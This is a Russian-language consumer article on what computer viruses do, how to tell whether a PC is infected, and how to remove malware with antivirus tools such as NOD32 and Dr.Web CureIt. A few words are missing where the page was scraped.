К сожалению, просторы мировой паутины буквально кишат недоброжелателями, а потому адекватная работа в интернете возможна только при наличии антивирусной системы. Иногда вирусами можно заразить ПК и через съемный накопитель. В любом случае, для нормальной работы ПК нужно будет уничтожить вредоносную программу, но сделать это не всегда бывает легко.

Вирусная инфекция распространяется значительно быстрее в густонаселенном обществе. То же самое, можно сказать и про вычислительную технику.

Вирусы имеют такую же продолжительную историю, как и сама вычислительная техника, однако, чем популярным становятся компьютеры, тем более угрожающие масштабы приобретают вирусные атаки. Еще недавно, компьютерами владели преимущественно опытные специалисты, которые знали, как защитить свой компьютер от вредоносных программ. Сейчас же, ПК стал бытовой техникой, играющий роль домашнего кинотеатра, музыкального центра, игровой консоли и просто устройством для серфинга в интернете.

Что удивительного в том, что пожилые люди, домохозяйки и дети, не могут в полной мере обеспечить защиту компьютера от вирусных атак?

Таким образом, злоумышленники, заражают компьютеры не только для хищения персональных данных целевой машины, но и для дальнейшего распространения вредоносного кода. В итоге, через удаленный доступ, злоумышленник может совершить преступление с помощью компьютера, ни в чем не подозревающего пользователя. С помощью данного материала мы научимся удалять вирусы с компьютера самостоятельно.

Какие вирусы могут заразить компьютер

Как уже писалось выше, вирусы имеют длительную историю. На данный момент, трудно перечислить все существующие вредоносные программы, однако, их можно поделить на несколько разновидностей.

В большинстве случаев, вирусы похищают личные данные пользователя, которые в дальнейшем используются для кражи денежных средств. Кроме того, довольно часто вирусы шифруют пользовательские данные, с последующим вымогательством денежных средств. Впрочем, есть множество вирусов, которые просто уничтожают системные файлы и медиа контент из-за вредности. Трудно сказать, для чего создаются такие вирусы, возможно, однажды они служили какой-то цели, но сейчас, просто «блуждают» в интернет пространстве.

Кроме финансовой выгоды, довольно часто, злоумышленники внедряют в компьютеры пользователей вирус, который в дальнейшем атакует другие машины или сетевые ресурсы, а владелец зараженного ПК сам того не подозревая становится соучастником атаки. Это называется DDoS атакой, когда множество компьютеров, одновременно пытается загрузить тот или иной ресурс.

В последнее время, большую популярность приобрели крипто валюты. Злоумышленники, как обычно, не обошли эту возможность стороной и стали всеми возможными способами внедрять в компьютеры пользователей программы, генерирующие крипто валюту, используя вычислительные мощности зараженной машины.

В последнее время данный вид мошенничества дошел до того, что ресурсы компьютеров стали использовать даже при посещении пользователем того или иного сайта в интернете.

Как определить, заражен компьютер вирусом или нет

Среди всех вирусов, персональный компьютер не подает признаков заражения лишь в том случаи, если в него внедряется программа, похищающая персональные данные. Другие виды вирусов, наносят серьезный ущерб системе. Человек может обнаружить, что его документы перестали открываться, на экране появляются таблички с предложением перевести денежные средства для дешифровки файлов, а иногда, компьютер попросту начинает замедляться.

При значительном понижении производительности, любой пользователь, первым делом проверит технические характеристики, и выяснит, какой процесс потребляет ресурсы компьютера. Если в момент загрузки, машина не производит или другой ресурсоемкой задачи, а в процессах можно увидеть неизвестные приложения, то нужно подозревать работу вируса. Посмотреть работающие процессы и потребляемые ими ресурсы можно в диспетчере задач Windows.

Для запуска диспетчера задач кликните на панели задач правой кнопкой мыши и выберите в меню «Диспетчер задач ».

Что бы убедится в этом наверняка, человек может попросту вписать название процесса в поисковую систему и убедиться, что это не системный процесс.

Самостоятельное удаление вирусов

Что бы избавится от всех вирусов наверняка, человек, может попросту отформатировать (очистить) , но при этом, он лишится всей информации хранившейся на нем. Форматирование лишь системного раздела, ничего не даст, ведь после переустановки системы, вирусы благополучно переберутся с одного , на другой.

Таким образом, кроме полного форматирования, человек не сможет удалить вредоносные приложения без стороннего ПО.

При подозрении в заражении, первым делом, человек должен установить антивирусное ПО, причем, более или менее надежное. На данный момент, одними из наиболее качественных антивирусных программ, считаются NOD32 и Kaspersky.

Впрочем, все подобные программы работают по аналогичному принципу и можно привести пример на программе NOD32. Данный антивирус платный, но его можно попробовать бесплатно в течение 30 дней после установки.

Во время установки, необходимо переключится на пользовательскую установку, после чего выбрать интересующие пользователя параметры. В разделе обнаружения вирусов, необходимо указать «Включить обнаружение нежелательного ПО », а в следующем пункте, выбрать параметр «Интерактивный режим », благодаря чему, NOD32 будет обнаруживать подозрительные процессы и файлы, но решение об удалении или перемещении в карантин, будет предлагать пользователю.

После установки и запуска приложения, в окне программы, следует найти раздел «Сканирование » и выбрать режим «».

По завершению проверки, антивирус предложит решить пользователю, что делать с обнаруженными угрозами, удалить или отправить в карантин.

Если среди угроз окажутся полезные данные, например, текстовый файл с паролями, то его конечно же можно отправить в карантин, для дальнейшего извлечения информации.

Можно сказать, что компьютер пользователя, это как дом, за его безопасностью необходимо следить, закрывать дверь на замок и не пускать внутрь подозрительных личностей.

По неписанным правилам, устанавливать антивирусное ПО, необходимо сразу же после установки операционной системы. Антивирусная программа будет работать в режиме реального времени, проверяя каждый файл, к которому обращается пользователь и система.

Если вы по каким-либо причинам не хотите платить деньги за антивирусное программное обеспечение, то существуют бесплатные антивирусы, самые известные и хорошо себя зарекомендовавшие – это Avast и Kaspersky Free.

Кроме того, на сайте компании dr.Web можно бесплатную антивирусную утилиту для проверки компьютера – dr. Web Cureit.

Утилита dr.Web Cureit работает без установки, но не может проверять файлы в режиме реального времени, т.е. она запускается вручную для глубокой проверки компьютера.